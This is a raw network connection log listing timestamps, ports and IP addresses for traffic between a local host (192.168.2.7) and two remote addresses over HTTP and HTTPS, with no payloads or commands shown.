Nov 15, 2024 19:39:36.153136969 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.153219938 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.153350115 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.153364897 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.153381109 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.153388023 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.153394938 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.153400898 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.153407097 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.153410912 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.153424025 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.153439999 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.153455973 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.153460979 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.153460979 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.153502941 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.153532028 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.153558969 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.153564930 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.153567076 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.153572083 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.153578043 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.153582096 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.153597116 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.153610945 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.153610945 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.153633118 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.153647900 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.153649092 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.153671980 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.153677940 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.153686047 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.153702974 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.153719902 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.153726101 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.153733969 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.153748035 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.153752089 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.153763056 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.153778076 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.153795958 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.153796911 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.153809071 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.153824091 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.153852940 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.153852940 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.153876066 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.154397011 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.154416084 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.154422045 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.154428005 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.154433966 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.154439926 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.154447079 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.154462099 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.154463053 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.154475927 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.154483080 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.154493093 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.154506922 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.154509068 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.154509068 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.154515028 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.154532909 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.154541016 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.154553890 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.154568911 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.154584885 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.154586077 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.154599905 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.154614925 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.154616117 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.154629946 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.154644966 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.154659033 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.154660940 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.154673100 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.154679060 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.154686928 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.154697895 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.154701948 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.154716969 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.154731035 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.154733896 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.154747963 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.154752016 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.154756069 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.154767036 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.154779911 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.154794931 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.154798985 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.154820919 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.154838085 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.155261993 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.155277967 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.155292988 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.155306101 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.155327082 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.155333042 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.155349970 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.155358076 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.155411959 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.155549049 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.155570984 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.155577898 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.155587912 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.155602932 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.155617952 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.155632019 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.155639887 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.155646086 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.155658960 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.155673027 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.155673981 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.155687094 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.155694008 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.155704021 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.155714035 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.155724049 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.155735970 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.155741930 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.155746937 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.155750036 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.155752897 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.155757904 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.155761003 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.155775070 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.155790091 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.155803919 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.155811071 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.155819893 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.155836105 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.155843019 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.155843019 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.155850887 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.155865908 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.155910015 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.155966043 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.156152964 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.156516075 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.156531096 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.156544924 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.156559944 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.156569958 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.156574011 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.156588078 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.156599045 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.156603098 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.156620026 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.156624079 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.156655073 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.156662941 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.156670094 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.156685114 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.156698942 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.156702995 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.156713009 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.156727076 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.156733036 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.156740904 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.156753063 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.156764030 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.156765938 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.156815052 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.156815052 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.214643002 CET	443	49817	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.215221882 CET	49817	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:36.215231895 CET	443	49817	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.215655088 CET	49817	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:36.215660095 CET	443	49817	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.218739033 CET	443	49818	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.219053984 CET	49818	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:36.219110966 CET	443	49818	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.219475031 CET	49818	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:36.219489098 CET	443	49818	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.259722948 CET	443	49819	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.260802031 CET	49819	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:36.260823965 CET	443	49819	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.261240959 CET	49819	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:36.261245966 CET	443	49819	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.344916105 CET	443	49817	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.346116066 CET	443	49817	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.346174002 CET	49817	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:36.346221924 CET	49817	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:36.346235037 CET	443	49817	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.346259117 CET	49817	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:36.346265078 CET	443	49817	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.349560976 CET	49822	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:36.349620104 CET	443	49822	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.349690914 CET	49822	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:36.349903107 CET	49822	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:36.349922895 CET	443	49822	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.351248980 CET	443	49818	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.351274967 CET	443	49818	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.351330996 CET	443	49818	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.351346970 CET	49818	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:36.351402998 CET	49818	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:36.351480007 CET	49818	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:36.351480007 CET	49818	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:36.351512909 CET	443	49818	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.351541996 CET	443	49818	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.354080915 CET	49823	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:36.354115963 CET	443	49823	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.354217052 CET	49823	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:36.354474068 CET	49823	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:36.354484081 CET	443	49823	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.360503912 CET	443	49820	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.360915899 CET	49820	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:36.360950947 CET	443	49820	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.361351967 CET	49820	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:36.361362934 CET	443	49820	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.378438950 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.378490925 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.391789913 CET	443	49819	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.391875029 CET	443	49819	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.391930103 CET	49819	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:36.392031908 CET	49819	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:36.392044067 CET	443	49819	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.392051935 CET	49819	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:36.392056942 CET	443	49819	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.394838095 CET	49824	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:36.394875050 CET	443	49824	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.394942999 CET	49824	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:36.395198107 CET	49824	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:36.395210028 CET	443	49824	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.489996910 CET	443	49820	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.490175009 CET	443	49820	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.490350962 CET	49820	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:36.490392923 CET	49820	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:36.490418911 CET	443	49820	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.490426064 CET	49820	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:36.490432978 CET	443	49820	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.493626118 CET	49825	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:36.493689060 CET	443	49825	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.494685888 CET	49825	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:36.494685888 CET	49825	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:36.494748116 CET	443	49825	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.522205114 CET	443	49821	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.522670031 CET	49821	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:36.522687912 CET	443	49821	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.523137093 CET	49821	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:36.523140907 CET	443	49821	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.651581049 CET	443	49821	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.652224064 CET	443	49821	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.652416945 CET	49821	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:36.652487993 CET	49821	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:36.652506113 CET	443	49821	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.652515888 CET	49821	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:36.652523041 CET	443	49821	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.655330896 CET	49826	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:36.655374050 CET	443	49826	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.656224966 CET	49826	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:36.656224966 CET	49826	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:36.656269073 CET	443	49826	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:36.822458029 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.824893951 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.980019093 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.984957933 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.984977007 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.985001087 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.985016108 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.985032082 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.985043049 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.985049009 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.985088110 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.985088110 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.985131979 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.985146999 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.985162020 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.985176086 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.985191107 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.985205889 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.985208988 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.985228062 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.985248089 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.985276937 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.985294104 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.985307932 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.985337019 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.985418081 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.985434055 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.985447884 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.985464096 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.985462904 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.985482931 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.985497952 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.985503912 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.985512018 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.985527039 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.985542059 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.985549927 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.985563993 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.985565901 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.985579967 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.985596895 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.985621929 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.985665083 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.985680103 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.985696077 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.985708952 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.985723972 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.985739946 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.985742092 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.985757113 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.985764027 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.985805035 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.985821009 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.985836983 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.985851049 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.985876083 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.985891104 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.985894918 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.985905886 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.985919952 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.985934019 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.985949993 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.985955000 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.985979080 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.986021042 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.986037016 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.986069918 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.986186981 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.986202002 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.986226082 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.986239910 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.986253977 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.986268044 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.986273050 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.986282110 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.986291885 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.986296892 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.986310959 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.986325026 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.986325979 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.986340046 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.986354113 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.986367941 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.986382008 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:36.986383915 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:36.986397028 CET	80	49802	185.215.113.16	192.168.2.7
